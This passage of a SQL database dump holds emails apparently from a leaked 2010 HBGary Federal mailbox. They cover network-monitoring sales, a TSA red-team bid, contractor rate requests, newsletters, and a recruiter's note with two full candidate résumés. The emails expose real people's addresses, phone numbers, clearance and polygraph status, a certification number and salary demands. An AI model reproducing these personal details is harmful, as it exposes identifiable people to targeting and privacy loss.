sans-serif;\r\n  font-size: 16px;\r\n  font-weight: bold;\r\n  color: #55697D;\r\n  margin: 0 0 4px 0;\r\n  padding: 0 0 4px 0;\r\n  border-bottom: 1px solid #cbcbcb;\r\n  }\r\n  td.mainbar h3 {\r\n  font-family: Georgia, serif;\r\n  font-size: 16px;\r\n  font-weight: normal;\r\n  color: #333333;\r\n  margin: 10px 0 14px 0;\r\n  padding: 0;\r\n  }\r\n  td.mainbar p {\r\n  font-family: arial,\'Lucida Grande\', sans-serif;\r\n  font-size: 13px;\r\n  font-weight: normal;\r\n  color: #666666;\r\n  margin: 0 0 16px 0;\r\n  padding: 0;\r\n  }\r\n  td.mainbar p.top {\r\n  font-family: \'Lucida Grande\', sans-serif;\r\n  font-size: 10px;\r\n  font-weight: bold;\r\n  color: #41709c;\r\n  margin: 0 0 30px 0;\r\n  padding: 0;\r\n  }\r\n  td.mainbar p.top a {\r\n  font-family: \'Lucida Grande\', sans-serif;\r\n  font-size: 10px;\r\n  font-weight: bold;\r\n  color: #588FC7;\r\n  }\r\n  td.mainbar ul {\r\n  font-family: \'Lucida Grande\', sans-serif;\r\n  font-size: 12px;\r\n  font-weight: normal;\r\n  color: #333333;\r\n  margin: 0 0 20px 24px;\r\n  padding: 0;\r\n  }\r\n  td.footer {\r\n  padding: 20px 0 20px 0;\r\n  }\r\n  td.footer p {\r\n  font-family: \'Lucida Grande\', sans-serif;\r\n  font-size: 10px;\r\n  font-weight: normal;\r\n  color: #151515;\r\n  }\r\n  td.h4 {\r\n  font-family: \'Lucida Grande\', sans-serif;\r\n  font-size: 14px;\r\n  font-weight: bold;\r\n  }\r\n  .validation {\r\n  font-size: 14px;\r\n  font-weight: bold;\r\n  }\r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n        \r\n          \r\n            \r\n          \r\n          \r\n            \r\n            \r\n            Be Found. Get Leads. Make Sales. \r\n            Top 5 Reasons&nbsp;To Get Listed With MacRAE\'S \r\n            \r\n            \r\n          \r\n          \r\n            \r\n            \r\n              \r\n                \r\n                  \r\n                  \r\n                   \r\n                  \r\n                  \r\n                  \r\n                  New customers are searching for products and services like yours every day \r\n                  \r\n                  Millions of visitors and buyers come to our site every month, searching for products and services from suppliers across industries like yours. Benefit from our expertise in delivering high online visibility to industrial companies on&nbsp;search engines such as Google, Yahoo, Bing and others. \r\n                  \r\n                  \r\n                \r\n                \r\n                  \r\n                  \r\n                   \r\n                  \r\n                  \r\n                  \r\n                  We deliver leads to you\r\n                  \r\n                  Buyers can link to your website directly, call you or send a detailed RFQ (Request for Quotations) with their specific requirements. We deliver leads and new customers to you so you can focus on growing your business. \r\n                  \r\n                  \r\n                  &nbsp;\r\n                  \r\n                  \r\n                \r\n                \r\n                  \r\n                  \r\n                   \r\n                  \r\n                  \r\n                  \r\n                  Cost-effective way to generate new customers\r\n                  \r\n                  Online marketing can be like rocket science. We make it simple. It is easy and fast to get started, you are on your way to improved online visibility for your company products and services through a cost-effective lead generation strategy. \r\n                  \r\n                  \r\n                  &nbsp;\r\n                  \r\n                  \r\n                \r\n                \r\n                  \r\n                  \r\n                   \r\n                  \r\n                  \r\n                  \r\n                  Live and easy to use reporting\r\n                  \r\n                  Our Activity Center is a simple and easy to use reporting dashboard. Access and see up-to-date information in real-time about your leads and traffic data specific to your website. You can also download and distribute marketing, lead and visitor information to your team at your convenience. Our Traffic Tracker tool tells you who&nbsp;are visiting your website, and what pages are of interest to them. \r\n                  \r\n                  \r\n                  &nbsp;\r\n                  \r\n                  \r\n                \r\n                \r\n                  \r\n                  \r\n                   \r\n                  \r\n                  \r\n                  \r\n                  Real People: Our customer care and expertise \r\n                  \r\n                  Our customer care team will help you get started in increasing your online marketing reach and performance in a fast and easy way. We keep it simple so that you can get going quickly. \r\n                  \r\n                  \r\n                   \r\n                  \r\n                  \r\n                  Call us for a FREE DEMO: 1.800.206.6548 or email us: customerservice@macraesbluebook.com \r\n                  \r\n                  \r\n                  Having trouble viewing this email? View it in your browser \r\n                  \r\n                  \r\n                \r\n              \r\n            \r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n          \r\n        \r\n      \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nIf you no longer wish to receive these emails, please reply to this message with \"Unsubscribe\" in the subject line or simply click on the following link: \r\nUnsubscribe\r\nClick here\r\n to forward this email to a friendMacRAE\'S Blue BookDiv. of Owen Media Partners Inc.2085 Hurontario Street, Suite 208Mississauga ON L5A 4G1Canada',7764,'aaron_hbgary_com/7764.html'),(10532,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008163.M941540P14101Q5387.eml','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','Re: Fidelis configurations','Hey Mary,\r\n\r\nWhere are we with the policy generation stuff?\r\n\r\nAaron\r\n\r\nOn Aug 14, 2010, at 11:35 AM, Sullivan, Mary wrote:\r\n\r\n> Aaron,\r\n> Let\'s talk today or this weekend. Organizatons with many small connections have always been tough for us--that\'s why I love fed with few giant connections.  Each debice has two monitoring interfaces so if they can switch, tap, or span the traffic to fewer devices that may work. Let\'s talk.\r\n> Mary\r\n> \r\n> Sent from my mobile--excuse typos or brevity\r\n> \r\n> On Aug 14, 2010, at 9:33 AM, \"Aaron Barr\"  wrote:\r\n> \r\n>> Hey Mary,\r\n>> \r\n>> I am sure you have talked to Bob about another customer that is interested in us taking over the network monitoring.  They have 6-7 locations, each with their separate egress point.  Bobs concern is given the size of each location (not big) they wouldn\'t want to put a fidelis box at $20K in each location.  Thoughts?\r\n>> \r\n>> I am recommending a pilot at one location to prove efficacy and then we can talk about the others.  What other solutions are there?\r\n>> \r\n>> Aaron\r\n>> \r\n\r\n',7821,'aaron_hbgary_com/7821.html'),(10533,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008164.M328748P14101Q5388.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: TSA ITSSS Red Team','Ok will do and will plan on being there next tuesday. &nbsp;Figures on Northrop and TASC. &nbsp;On the Northrop side you just aren\'t getting the right participation, and I think same from TASC. &nbsp;The right experience is in Al Pisani and Pat Talty\'s BUs, they run AXISS contracts at NSA as well as a lot of C&amp;A work for SBIR and other DoD folks. &nbsp;Steve Winterfeld and David Lirette (TASC) in COS could fill this stuff out in their sleep. &nbsp;But my guess is internal territory keeps them from communicating fully, I will check with Steve and see how much he is being called.On Northrop, they have an immense amount of experience especially in ISD, they run JTF-GNO, 1st IO, JFCC-NW, people at NTOC, etc. &nbsp;This should be a no brainer, but again different group. &nbsp;the civil folks at NG have some SOC work but not a ton...that and paul meany, Dr. Brancik, and the other guy don\'t know a damn thing about SOCs.AaronOn Aug 18, 2010, at 10:38 AM, John Fanguy wrote:Just get some people signed this week and enjoy the vacation.&nbsp; Gold team will be next Wed.&nbsp; If you can plan to be here Tuesday editing/enhancing that would be ideal.&nbsp; The big companies are really struggling with writing the Experience, People, Tools, Other Resources matrices.&nbsp; Only Telos has come thru.&nbsp;-John&nbsp;VPDigital Management, Inc.301-346-6749 cell&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, August 18, 2010 10:29 AMTo:&nbsp;Kirby Kintner; John FanguySubject:&nbsp;Re: TSA ITSSS Red Team&nbsp;Guys,&nbsp;I have a planned family vacation to NC this weekend. &nbsp;I can review on Saturday remotely if that is feasible.&nbsp;Aaron&nbsp;On Aug 18, 2010, at 9:39 AM, Kirby Kintner wrote:When: Saturday, August 21, 2010 1:00 PM-4:00 PM (UTC-05:00) Eastern Time (US &amp; Canada).Where: DMI Facility, Bethesda&nbsp;Note: The GMT offset above does not reflect daylight saving time adjustments.&nbsp;*~*~*~*~*~*~*~*~*~*&nbsp;Agenda:&nbsp;1PM – 1:15 Kick-off1:15 - 3:30 Review3:30 – 4&nbsp; Develop Top Ten list4PM - Dismiss&nbsp;&nbsp;&nbsp;&lt;Mail Attachment.ics&gt;&nbsp;',4335,'aaron_hbgary_com/4335.html'),(10534,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008164.M610831P14101Q5389.eml','dix.dallas@ngc.com','Catch Up','Hey Dix,\r\n\r\nIts been a long time.  Do you have a few seconds to talk?  I wanted to catch up and also ask to see if you have any recommendations or people that you know that might be good fits for positions I have open.\r\n\r\nThanks, Hope to talk to you soon.\r\n\r\nAaron',2568,'aaron_hbgary_com/2568.html'),(10535,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008179.M664047P14101Q5390.eml','\"Brian Christos\" <brian_christos@yahoo.com>','Follow up','Hey Brian,\r\n\r\nNice to talk to you today, look forward to talking again soon, let me know on dates.\r\n\r\nOn a quick turn note, if by chance you know of anyone, low hanging fruit so to speak, that might fit the TSA stuff that would be helpful.  I need to find candidates with resumes for that work fairly quickly since RFP asks for resumes for leads.  If not thanks for trying.  The thumbs up for Rich is helpful.  I hope to talk with him today and convince him that what we are doing @ HBGary Federal is enticing.\r\n\r\nWhat you discussed fits well with what we are trying to do at a high level.  I don\'t see you as too overlapping with Palantir with what you told me, there may actually be a nice partnership there.  Palantir creating the visual maps and cues but there needs to be a more process oriented, knowledge mgmt and info sharing technology that helps to bring that more structurally into a SOC environment.  As for HBGary Federal if you haven\'t seen our datasheets I have attached them so you get a good understanding of where I am focused.\r\n\r\nI think potentially a lot of opportunities in the future.\r\n\r\nI emailed Dix to catch up with him, his address is dix.dallas@ngc.com, right?\r\n\r\nAaron\r\n\r\n',15825,'aaron_hbgary_com/15825.html'),(10536,'2010-08-18','\"Andrew Fehretdinov\" <afehretdinov@digitalmanagement.com>','/aaron@hbgary.com/new/1297008180.M671983P14101Q5391.eml','aaron@hbgary.com,\"Bruce Friedman\" <bruce.friedman@ngc.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,aaron@hbgary.com,\"Bruce Friedman\" <bruce.friedman@ngc.com>','FW: Target Rates','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nTo follow-up on the email sent\r\nearlier this week, we are looking for a response on target rates by COB\r\ntomorrow (19th). If you have any questions or need any\r\nassistance, please let me know.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAndrew Fehretdinov\r\n\r\nDirector of Finance &amp;\r\nContracts\r\n\r\nDigital Management, Inc.\r\n\r\nWork: 240-223-4804\r\n\r\nMobile: 703-946-9261\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Andrew Fehretdinov \r\nSent: Monday, August 16, 2010 7:56 PM\r\nTo: John Fanguy; aaron@hbgary.com; Bruce Friedman;\r\njwootton@palantir.com; Kirby Kintner; Martin Fertal; msteckman@palantir.com;\r\npatricia.krajeski@tasc.com; Paul Meaney; paul.kuttner@tasc.com;\r\nrob.wilson@telos.com; robert.sanderson@telos.com; sondra.spalding@tasc.com;\r\nted@hbgary.com; tom.leahy@telos.com; tom.ryder@telos.com; William E. Miller;\r\nWilliam Luti\r\nSubject: Target Rates\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nPlease provide your target\r\nGovernment and Contractor Site rates on the attached template. You may provide\r\nas many or as few rates as you wish. DMI is using a standard escalation rate of\r\n2.5% and 1,920 productive hours for all positions &#8211; please use these\r\nassumptions to ensure we have a&nbsp; consistent approach. DMI is not providing\r\ntarget rates at this time &#8211; however, we may do so based on the results of this\r\ninitial step. If you have any questions, please let me know.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAndrew Fehretdinov\r\n\r\nDirector of Finance &amp;\r\nContracts\r\n\r\nDigital Management, Inc.\r\n\r\nWork: 240-223-4804\r\n\r\nMobile: 703-946-9261\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11396,'aaron_hbgary_com/11396.html');
INSERT INTO `emails` VALUES (10537,'2010-08-18','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297008180.M983020P14101Q5392.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <adbarr@me.com>','Fwd: Learn How to Better Protect and Use Sensitive Information','FYI---------- Forwarded message ----------From: Tim O&#39;Reilly, Dick O&#39;Neill and the Gov 2.0 Summit Team &lt;gov2summit@email.techwebevents-sf.com&gt;\r\nDate: Wed, Aug 18, 2010 at 10:02 AMSubject: Learn How to Better Protect and Use Sensitive InformationTo: mbt.rbtoth@gmail.com\r\n         \r\n     \r\nDeep Dive: Identity, Privacy, and Informed Consent in the Age of the Internet. Register Today.\r\n  View this email online if it does not display properly. Don&#39;t miss Gov 2.0 Summit news and updates — please add gov2summit@email.techwebevents-sf.com to your contact list or address book.\r\n       \r\n      \r\n    \r\n   Deep Dive: \r\n Identity, Privacy, and Informed Consent in the Age of the Internet \r\n       \r\n    Dear Michael,  Many of today&#39;s most powerful technologies depend on trust — trust that when a consumer or citizen provides information, either explicitly or implicitly, to a web or mobile application, that their information won&#39;t be misused. \r\n   Join us at Gov 2.0 Summit as we explore how to stop treating this sensitive information as a kind of toxic asset and begin to build policy frameworks around acceptable use and penalties for misuse.\r\n     \r\nA Special Registration Discount   Register using code gvt10ema2 before August 24 and we&#39;ll take 30% off the cost of your conference pass.\r\n    Identity, Privacy, and Informed Consent Sessions • Is it Possible to Share and Protect Sensitive Information? \r\n   – John Clippinger (Berkman Center Harvard University)   • The Robin Sage Experiment \r\n   • Future Shock: Cognitive Radio and Spectrum Policy \r\n   – Dan Reed (Microsoft)   • Cloud Changes Everything \r\n   – Steve Herrod (VMware)  View the entire Gov 2.0 Summit schedule online. \r\n  Together we will build what comes next as these powerful ideas converge with the passion of people who can make a difference. Register now and reserve your seat!\r\n      \r\nEmail Sponsor\r\n       Book Your Hotel &amp; Transportation  We&#39;ve negotiated special rates for Grand Hyatt Hotel Washington and airlines.\r\n      Sincerely, Tim O&#39;Reilly, Dick O&#39;Neill and the Gov 2.0 Summit Team        \r\n     \r\n     \r\n   \r\n Co-produced by O&#39;Reilly Media, Inc. and UBM TechWeb.    © 2010 O&#39;Reilly Media, Inc. 1005 Gravenstein Highway North, Sebastopol, CA 95473  (707) 827-7000 / (800) 998-9938.\r\n   © UBM TechWeb 2010. All Rights Reserved. Gov 2.0 Summit c/o UBM TechWeb,  600 Harrison St., 6th Floor, San Francisco, CA 94107.   Gov 2.0 Summit respects your privacy. This message is sent to qualified recipients who recently attended, or requested or downloaded information about either Gov 2.0 Events or a related United Business Media or O&#39;Reilly event or publication or requested information about our events, publications and products.\r\n  Unsubscribe from Gov 2.0 Summit.\r\n  This email was sent to mbt.rbtoth@gmail.com. If this email was forwarded to you and you would like to begin receiving a copy of your own, please visit—our site—to receive Gov 2.0 Events news and special offers directly. Please do not reply to this email as replies are not being read.\r\n  Gov 2.0 Events Privacy Policy.\r\n       \r\n       \r\n\r\n\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',7295,'aaron_hbgary_com/7295.html'),(10538,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008181.M261667P14101Q5393.eml','\"Tom Conroy\" <tom.conroy@ngc.com>','Update','Hi Tom,\r\n\r\nI just wanted to close the loop on the conversation.  I got a call late last week and gave the folks up north a call on a secure line, gave them my information in detail.  They said if they had any follow up that was needed they would give me a call.  So I think that is it.\r\n\r\nSomething that occurred to me.  Maybe they are ok with the level of information that is discernible?  This whole thing, if not a fluke, is very interesting in that it happened, was allowed, etc.  Maybe a current change?  No need to take unnecessary risks though.\r\n\r\nAaron',4307,'aaron_hbgary_com/4307.html'),(10539,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008181.M724518P14101Q5394.eml','\"Ed Wallach\" <ed@wallachsearch.com>','Re: Cyber Recruits!','Thanks. &nbsp;Sure I am interested to discuss this with you. &nbsp;I would like to get a little more detail on how the fee works, is it yearly, etc.We are at the moment very small but have a number of opportunities available and upcoming. &nbsp;Given the cost competitive nature of some of these contracts yet the strong competitive environment for good talent, well its both a good and tough environment for a small company to get started.I am looking to fill the following positions:IC Customer VA (full poly) reverse engineerIC Customer MD (full poly) Malware analyst/Intel AnalystFBI ESOC (forensics, cyber intelligence, SOC)Resumes for NoVa SOC:1. Lead Forensics2. Lead Incident Response3. Lead Cyber Intelligence4. Lead Threat Management5. Lead SOC ManagerI am pretty free today working proposal writeups.Thanks,AaronOn Aug 18, 2010, at 10:23 AM, Ed Wallach wrote:Hi Aaron,I\'m available this week to discuss recruiting for HB Gary.We have a number of highly qualified candidates we have recruited for our other clients. These include VR, Ethical hacking, Pen Testing, reverse engineering, most with at least a ts/sci and some with fullscope polys.My office is right near montgomery mall.I\'m ready to roll when you are!Edhere\'s a few samples below:1)candidate 1Lives in MDDesires $120K MinimumTop Secret SCI Clearance until 2013Need more challenging work than Navy provides. &nbsp;Focus career path in a large company with room for growth.&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bachelor of Science in Information Systems Security, MAGNA CUM LAUDE; Certified Information Systems Security Professional (CISSP) 363829;&nbsp;Certified Ethical Hacker&nbsp;(CEH); EC-Council Certified Security Analyst (ECSA); Computer Hacking Forensics Investigator (CHFI).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Multidisciplinary management &amp; technical experience – enterprise wide IC IA policy development, CNA/CND/CNE, Technical Assurance, EAL, NIST, DIACAP, INFOCON, STIG, IAVM, risk mitigation strategies, penetration testing,&nbsp;vulnerability assessment, intrusion detection/response, Nessus, Snort, Metasploit,&nbsp;Common Vulnerabilities and Exposures&nbsp;(CVE), Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, digital network intelligence &amp; analysis, exploitation testing.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Active Top Secret Sensitive Compartmented Information clearance and Counter-Intelligence Polygraph, valid from 2000 through 2013.&nbsp;&nbsp; &nbsp; Member of Institute of Electrical and Electronics Engineers (IEEE) since January 2006, Member of Association of Information Technology Professionals&nbsp;(AITP) since January 2007, advisor to the AITP Chairman of Standards of Conduct and Code of Ethics Committee, Member of National University Cyber&nbsp;Security Information Assurance Advisory Counsel, HOA Secretary for 109 unit community.&nbsp;&nbsp;Published contributing author, published IEEE GOLD newsletter article, webinar speaker, and public conference speaker.EMPLOYMENTNavy Information Operations Command Suitland&nbsp;(research &amp; development agency for the US Navy)	Dec 07-PresentComputer Network Operations (CNO) Research &amp; Development Manager&nbsp;| Tech: Wireshark, Snort, IDA Pro, ProcessExplorer, Strings, Web Application Attack and Audit Framework (w3af),&nbsp;Common Vulnerabilities and Exposures (CVE) and Nessus vulnerability scanner.Manage 10 person technical team multi-million dollar projects. Experience in program management, request for proposals, product deliver, software application user acceptance testing/evaluation, man-train-equip personnel strategy, technical assurance software evaluation level of assurance processes and software development life cycle procedures supporting the federal landscape.The Computer Network Defense Group LLC&nbsp;(cybersecurity information assurance consulting firm)		Oct 08-PresentChief Executive Officer&nbsp;| Tech: Nessus, Snort, Metasploit, Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, NMAP, and open source intelligence collection analysis tools.Chief Cyber Security Consultant, lead penetration testing teams, vulnerability assessments and risk mitigation assessments.&nbsp;Business acumen: Procured two professional consulting service agreements, two statements of work, one paid sponsor agreement; Experience in&nbsp;drafting RFP responses, business development, service development and delivery, marketing, and advertising.United States Cyber Command&nbsp;(formally Joint Functional Component Command – Network Warfare)	Aug 08-Dec 08Computer Network Operations Subject Matter Expert, Senior&nbsp;| Tech: tcpdump, Hping, wget, Dragon IDS, Cisco devices, SonicWALL.Managed team of 15 persons, responsible for coordinating offensive computer network operations for the United States Department of Defense and other federal agencies. This component facilitates cooperative engagement with other national entities in computer network defense and offensive information warfare as part of the global information operations mission.Navy Information Operations Command San Diego											Oct 05-Dec 07Computer Network Defense Operations Manager&nbsp;|Tech: Encase, RealSecure IDS, Snort IDS, eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, Nessus vulnerability scanner, NMAP, and Common Vulnerabilities and Exposures (CVE).Directed 300+ vulnerability and penetration security assessments on 300+ networks. Managed overall network security team of 25 persons and 18 networks across the Pacific Ocean.&nbsp;Lead instructor of passive network analysis, log analysis, intrusion detection, defensive tool installation and configuration for 100+ local customers and 100+ global customers across the Pacific Ocean.Fleet Information Warfare Command, Detachment San Diego									Oct 04-Oct 05Computer Network Defense Analyst, Senior&nbsp;|Tech: Nessus, Snort, IDSCenter, Encase, iptables, tcp wrapper, Ethereal (a.k.a. Wireshark).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Developed incident response team for Commander, U.S. Naval Forces Central Command; Commander, U.S. Fifth Fleet. Led 150+ vulnerability and penetration security assessments on 300+ networks. Managed 50+ incident response conditions and 20+ incident response teams for Commander, Third Fleet; Commander, Seventh Fleet; and Commander, Fifth Fleet.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Senior instructor of security courses focusing on vulnerability scanning, vulnerability analysis, event monitoring and compliance reporting, incident handling, and penetration testing for 100+ customers.Fleet Intelligence Training Center Pacific, San Diego											Aug 03-Oct 04Communications Watch Officer&nbsp;|Tech: Unix/Solaris/Windows 2K, T1/OC, DMS, encryption devices, Cisco devices, Symantec Security Center.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Network Operations Center lead systems administrator for 1,000+ customers and 2,000+ communications circuits ranging from west of the Mississippi river to the Hawaiian Islands.USS HIGGINS (DDG-76) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;													Oct 00 - Aug 03Systems Administrator&nbsp;|Tech: Unix/Windows NT enterprise network, Cisco devices, Norton Anti-virus (enterprise), Office 2000.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sensitive Compartmented Information Automated Digital Network Systems (SCI-ADNS) shift worker responsible for Ship Signals Exploitation Space (SSES) global network connectivity which included 20 voice and data circuits and three networked domains.EDUCATIONWestwood College, Denver, CO															May 09BS in Information Systems Security	Magna Cum Laude (GPA 3.97)MILITARYUnited States Navy Active Duty															Oct 00 - Present·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Experienced in Information Operations, (a.k.a. Information Warfare), Computer Network Operations: Computer Network Defense, Computer Network Exploitation and Computer Network Attack.&nbsp; Received various personal commendations and awards.2)candidate 2Lives in MDSECURITY CLEARANCE&nbsp;Department of Defense TS/SCI security clearance, with a current Full Scope Polygraph.&nbsp;PROFESSIONAL CERTIFICATION:&nbsp;Certified Information Systems Security Professional (CISSP).WORK EXPERIENCE&nbsp;Computer Sciences Corporation-Enforcement, Security and Intelligence Division –Information Systems Security Officer-February, 2009 to Present.Perform vulnerability assessment scans on production and operational network servers and workstations.Monitor adjustments, updates and changes made to all production and operational servers and workstations, using Tripwire configuration monitoring tools.&nbsp;Assist in providing oversight and enforcement of security directives, orders, standards, plans and procedures.Enforce all information system security procedures in reference to the production, testing, certification and accreditation, and deployment of information systems.&nbsp;Review system security plans and concept of operation documentation to ensure system configuration accuracy.&nbsp;Computer Sciences Corporation/Eagle Alliance- Information Systems Security Officer -August, 2006 to February, 2009.Member of a team responsible for investigating computer security incidents, and reporting recommendations through established channels of authority to mitigate risks or enact change.Maintained critical System Security Plans (SSP’s) for a government client and provides customers with Certification and Accreditation (C&amp;A) assistance, for all inquiries and concerns with respect to installation, operation, maintenance, configuration management and protection of classified and unclassified network devices.Performed life cycle responsibilities and advises modernization change boards, regarding current security posture and repercussions to existing accreditation during modernization.&nbsp;One of the centralized contacts of the Information Security program advising client personnel on policy and good security practices.&nbsp;Conducted monthly briefings to newly hired personnel, with regard to Information Systems Security and proper reporting procedures during the event of a computer security incident.&nbsp;IKON Office Solutions- February, 2006 to August, 2006. &nbsp;Sales representative of document management devices and Multi-Functional Processors (MFP’s, printers, scanners, copiers and other software and professional services).Provided customer support and training for IKON Office Solutions business accounts.Performed various canvassing and marketing activities, to identify and acquire new business.&nbsp;National Security Agency Police Officer, December 13, 2004 – February, 2006.&nbsp;Conducted a myriad of law enforcement and physical security duties for the Department of Defense, in protection of their assets and personnel.Performed a variety of tasks in support of the police department’s main mission, which is counter-terrorism and force protection.Composed numerous incident reports on mitigation of security, medical, and fire emergencies.Managed and controlled personnel access, through monitoring pedestrian and vehicular access points.Responsible for the enforcement of laws and regulations, both federal and state, relative to the protection of life and property.Conducted routine investigation of any possible breach of security or compromise of classified material.United States Navy/ December 19, 1995 – April 27, 2004.&nbsp; Honorable service and discharge.&nbsp;Integrated Undersea Surveillance Systems Supervisor, Acoustic Intelligence Analyst, U.S. Navy,2001- 2004Supervised watch personnel during analysis, tracking and reporting of time critical acoustic contacts, in support of Atlantic Fleet operations.Professionally supervised watch team members, while participating in over 95 different command missions.Provided positioning and acoustic data on over 285 contacts, in support of Noble Eagle and Homeland defense.Suggested improvements to watch station procedures, which resulted in smoother operations and lower volume of classified paperwork.Developed search areas for time critical intelligence data, and drafted tactical messages for Atlantic Fleet forces.&nbsp;Naval Recruiter Canvasser, Naval Recruiting District Philadelphia, U.S. Navy, 2000-2001Identified qualified civilians for enlistment into the United States Navy, through various recruiting techniques.Prospected candidates, conducted interviews, completed enlistment records and counseled rejected applicants.Identified target market populations through analyzing recruiting results, and formulated plans for improving the marketing and recruiting process.Managed the delayed entry program, resulting in a significant decrease in recruit attrition levels, and contributed to the recruiting district making goal for the year.Counseled new recruits on their transition into the Navy, and prepared them for recruit training.Conducted basic background investigations on qualified applicants, based on police records and references listed on application, and National Security background information.&nbsp;Anti-Submarine Warfare Systems Operator, Acoustic Intelligence Analyst, USS George Washington, U.S. Navy, 1997-2000Supported operation of the anti-submarine warfare module through utilization of tactical display, acoustic intelligence, and electronic warfare, environmental and associated equipment.Formatted Maritime messages, acoustic intelligence (MASINT) data submission, and tactical mission briefing, debriefing, and reconstruction in support of carrier airborne operations.Provided safety and security for over 5,000 personnel onboard, as a member of the shipboard police force.Participated in over 50 military flights as a Naval Air Crewman, in support of Anti-Submarine warfare missions.Managed the Respiratory safety program and database for over 2,500 personnel while in the Norfolk Naval Shipyard.Participated in a myriad of physical security and law enforcement duties, for 10 months, while attached to the ships Master at Arms police force.&nbsp;EDUCATION AND TRAINING&nbsp;Master of Science degree in Forensic Studies, Investigations Track, 12/2008 (3.85 GPA)Stevenson University (formerly Villa Julie College).&nbsp; Computer Forensics and Security classes: Forensic Information Technology, Windows Forensic Examinations (Introduction to Encase), Information Systems Security Management, IT Operational Environment, Architecture and Infrastructure and Information Technology Law and Enforcement.Master of Science degree in Criminal Justice, 6/2006, Troy University.&nbsp;Bachelor of Science degree (concentrations in Psychology and Administrative/Management Studies) 7/2003. Excelsior College.Basic Police Officer Training Program, Federal Law Enforcement Training Center, 10 weeks.&nbsp; Glynco, Georgia, 2005.Law Enforcement and Physical Security Training, Department of Defense.&nbsp; 6 weeks of follow on training after graduation from the Federal Law Enforcement Training Center.IS Security Classes: Operational Security Fundamentals, Introduction to Operational Information Assurance, Malicious Code Threat, Operational Information Assurance, A Systems Approach to Threat and Vulnerabilities, Introduction to Information Security, Operational Information Assurance for Managers, Introduction to Key Management, Security and Intrusion Detection Fundamentals, Introduction to System and Network Security, Ethical Hacking and Countermeasures.&nbsp;&nbsp;AWARDS AND PROFESSIONAL EVALUATIONS&nbsp;Received an Award of Excellence for performance of duties during a special project dealing with Information Security and Assurance.&nbsp; Awarded August 2007.&nbsp; (Eagle Alliance)Performance Award for making outstanding contributions to the client’s Information Assurance and Security Program.&nbsp; Awarded July 2007.&nbsp; (Eagle Alliance)Sailor of the year, for the calendar year of 2003.&nbsp;Sailor of the Quarter, for the fourth quarter of Fiscal year 2003.2 Good Conduct medals while serving on Active Duty.&nbsp; First medal awarded on 12/19/1999, and second medal awarded 12/19/2003.3 letters of Commendation, while onboard the USS G. Washington, for superior performance.1 letter of appreciation, for volunteer service in Haifa, Israel.1 Navy and Marine Corps achievement medal, for exceptional performance of duties as watch supervisor and acoustic analyst, from 2001-2004. Awarded on 3/4/2004.Ranked the number one E-5 in the command, during the last evaluation period of active duty service.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 